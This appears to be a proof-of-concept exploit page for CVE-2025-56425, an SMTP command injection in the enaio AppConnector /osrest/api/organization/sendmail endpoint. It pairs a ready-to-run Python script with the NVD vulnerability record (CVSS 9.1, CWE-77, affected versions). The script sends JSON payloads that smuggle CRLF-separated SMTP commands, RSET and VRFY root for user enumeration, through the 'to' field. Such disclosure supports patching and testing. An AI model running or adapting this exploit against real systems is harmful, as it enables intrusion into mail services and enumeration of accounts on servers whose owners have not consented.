CVE-2025-56425

import requests import urllib.parse # CVE-2025-56425 SMTP Command Injection PoC # Target: enaio AppConnector /osrest/api/organization/sendmail endpoint TARGET_URL = "http://target-server:50000/osrest/api/organization/sendmail" # SMTP command injection payload # Injecting RSET command to test injection capability smtp_injection_payload = { "to": "[email protected]\r\nRSET\r\n", "subject": "Test Email", "body": "This is a test message" } # Alternative payload with VRFY command to enumerate users vrify_payload = { "to": "[email protected]\r\nVRFY root\r\n", "subject": "Test", "body": "Test" } def exploit(target_url, payload, auth_token=None): headers = { "Content-Type": "application/json" } if auth_token: headers["Authorization"] = f"Bearer {auth_token}" try: response = requests.post( target_url, json=payload, headers=headers, timeout=10 ) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") return response except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return None if __name__ == "__main__": print("[*] CVE-2025-56425 SMTP Command Injection Test") print("[*] Target:", TARGET_URL) exploit(TARGET_URL, smtp_injection_payload)

{"cve": {"id": "CVE-2025-56425", "sourceIdentifier": "[email protected]", "published": "2026-01-08T17:15:47.957", "lastModified": "2026-01-23T02:15:57.013", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in the AppConnector component version 10.10.0.183 and earlier of enaio 10.10, in the AppConnector component version 11.0.0.183 and earlier of enaio 11.0, and in the AppConnctor component version 11.10.0.183 and earlier of enaio 11.10. The vulnerability allows authenticated remote attackers to inject arbitrary SMTP commands via crafted input to the /osrest/api/organization/sendmail endpoint"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:optimal-systems:enaio:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.10.0.0", "versionEndExcluding": "10.10.0.183", "matchCriteriaId": "F788DEB2-E18F-4EBF-AF0B-1DC8F4A8D7C9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:optimal-systems:enaio:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.0.0.0", "versionEndExcluding": "11.0.0.183", "matchCriteriaId": "0C7B7328-C113-411C-B67A-A1B0D1451BEA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:optimal-systems:enaio:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.10.0.0", "versionEndExcluding": "11.10.0.183", "matchCriteriaId": "B2F05785-8670-4576-9DFC-6E9C44C7D634"}]}]}], "references": [{"url": "https://mind-bytes.de/smtp-injection-in-enaio-component-appconnector-cve-2025-56425/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.optimal-systems.de/enaio", "source": "[email protected]", "tags": ["Product"]}]}}